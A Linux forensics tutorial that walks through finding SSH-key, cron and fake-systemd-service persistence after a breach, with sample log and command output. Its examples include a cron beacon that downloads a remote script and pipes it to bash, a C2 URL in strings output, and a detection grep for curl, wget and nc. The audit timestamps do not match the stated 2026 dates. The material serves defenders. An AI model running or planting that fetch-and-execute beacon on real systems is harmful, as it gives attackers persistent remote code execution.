Linux Forensics: Finding Attacker Traces After a Breach

In March 2025, the CISA advisory AA25-071A detailed how threat actors compromised Linux servers by planting SSH backdoors and wiping bash history to cover their tracks. The playbook is not new — but most teams still miss the same artifacts. Here is how to find them before the trail goes cold.

Step 1: Check Who Was Actually Logged In

Start with authentication logs. On most Debian and RHEL-based systems, /var/log/auth.log or /var/log/secure records every login attempt, sudo use, and SSH session. This is your first stop.

$ grep -E '(Accepted|Failed|sudo)' /var/log/auth.log | tail -40

Jun 29 02:14:33 prod-web01 sshd[4821]: Accepted publickey for deploy from 192.0.2.47 port 51234 ssh2
Jun 29 02:14:44 prod-web01 sudo: deploy : TTY=pts/1 ; PWD=/home/deploy ; USER=root ; COMMAND=/bin/bash
Jun 29 02:17:09 prod-web01 sshd[4823]: Accepted password for root from 192.0.2.47 port 51891 ssh2
Jun 29 02:31:55 prod-web01 sshd[4901]: Failed password for invalid user admin from 192.0.2.102 port 44203 ssh2

Three things stand out here. First, deploy logged in at 2 AM via public key — unusual hours worth correlating against HR or change records. Second, that account immediately ran sudo /bin/bash, dropping into a root shell with no specific command. That is a classic lateral-move pattern, not a legitimate deployment task. Third, direct root SSH login succeeded from the same IP. If PermitRootLogin is supposed to be disabled in your sshd_config, someone changed it.

Your next move: pull the full session timeline for 192.0.2.47 and check ~/.ssh/authorized_keys for every account on the box. Attackers frequently drop a new public key to maintain persistence after changing the password.

$ for user in $(cut -d: -f1 /etc/passwd); do
    homedir=$(eval echo ~$user)
    keyfile="$homedir/.ssh/authorized_keys"
    if [ -f "$keyfile" ]; then
        echo "=== $user ==="
        cat "$keyfile"
    fi
done

=== root ===
sk-ecdsa-sha2-nistp256@openssh.com AAAAB... attacker@kali
=== deploy ===
ecdsa-sha2-nistp256 AAAAE2V... ci-runner@build-infra.internal

Root has a key comment of attacker@kali. That is not subtle — but real incidents are often this obvious once you look. Remove unknown keys immediately, then rotate all legitimate credentials before you do anything else.

Step 2: Hunt for Hidden Persistence Mechanisms

SSH keys are just one layer. Attackers also plant cron jobs, systemd services, and modified binaries. Run a sweep across all three.

$ for user in $(cut -d: -f1 /etc/passwd); do
    crontab -l -u $user 2>/dev/null | grep -v '^#' | grep -v '^$' && echo "User: $user"
done

* * * * * curl -s http://192.0.2.88/beacon.sh | bash
User: www-data

$ systemctl list-units --type=service --state=running | grep -v '@'
...
systemd-sync.service   loaded active running  Systemd Sync Daemon

$ cat /etc/systemd/system/systemd-sync.service
[Unit]
Description=Systemd Sync Daemon
After=network.target

[Service]
ExecStart=/usr/local/bin/.sysupd
Restart=always

[Install]
WantedBy=multi-user.target

The cron job under www-data is a beacon — it phones home to 192.0.2.88 every minute and pipes the response into bash. Block that IP at the firewall immediately and capture the script before you do so. Use curl -s http://192.0.2.88/beacon.sh -o /tmp/evidence/beacon.sh to preserve it for analysis.

The fake systemd-sync service is a classic name-masquerade. The binary lives at /usr/local/bin/.sysupd — note the leading dot to hide it from casual ls output. Check its hash against VirusTotal, then examine it with strings or file before killing it.

$ sha256sum /usr/local/bin/.sysupd
a3f1c9...d7e2  /usr/local/bin/.sysupd

$ file /usr/local/bin/.sysupd
/usr/local/bin/.sysupd: ELF 64-bit LSB executable, x86-64, statically linked, stripped

$ strings /usr/local/bin/.sysupd | grep -E '(http|192\.0\.2|/bin/sh|exec)'
http://192.0.2.88/c2
/bin/sh
execve

Statically linked and stripped means the attacker compiled this to avoid shared-library dependencies and removed debug symbols to slow analysis. The strings output confirms C2 communication and shell execution. Isolate the host from the network now if you have not already.

Step 3: Recover What They Tried to Erase

Attackers routinely run history -c or set HISTFILE=/dev/null before working. But bash is not the only thing keeping receipts.

$ last -F | head -20
deploy   pts/1        192.0.2.47       Mon Jun 29 02:14:33 2026   02:41:07
reboot   system boot  5.15.0-112       Mon Jun 29 01:58:22 2026

$ find /proc/*/fd -lname '/dev/pts*' 2>/dev/null

$ ausearch -m execve --start 06/29/2026 00:00:00 --end 06/29/2026 06:00:00 2>/dev/null | grep -E '(curl|wget|chmod|nc )'
type=EXECVE msg=audit(1751155471.302:884): argc=3 a0="curl" a1="-s" a2="http://192.0.2.88/beacon.sh"
type=EXECVE msg=audit(1751155499.114:901): argc=2 a0="chmod" a1="+x" a2="/usr/local/bin/.sysupd"

ausearch queries the Linux Audit daemon — a forensic goldmine if auditd was running. It captured the exact curl and chmod commands even though bash history was wiped. The timestamps let you build a precise attack timeline. If auditd was not enabled, that is a gap to fix before you rebuild.

What To Do Right Now

Pick one of your Linux servers and run this single command today — it takes under 60 seconds and will surface unexpected authorized keys across every account on the system:

$ for user in $(cut -d: -f1 /etc/passwd); do
    homedir=$(eval echo ~$user)
    keyfile="$homedir/.ssh/authorized_keys"
    [ -f "$keyfile" ] && echo "=== $user ==" && cat "$keyfile"
done

If anything looks unfamiliar, treat it as a confirmed compromise and start your incident timeline from there. Then enable auditd with execve rules on every production host so the next investigation has real data to work with.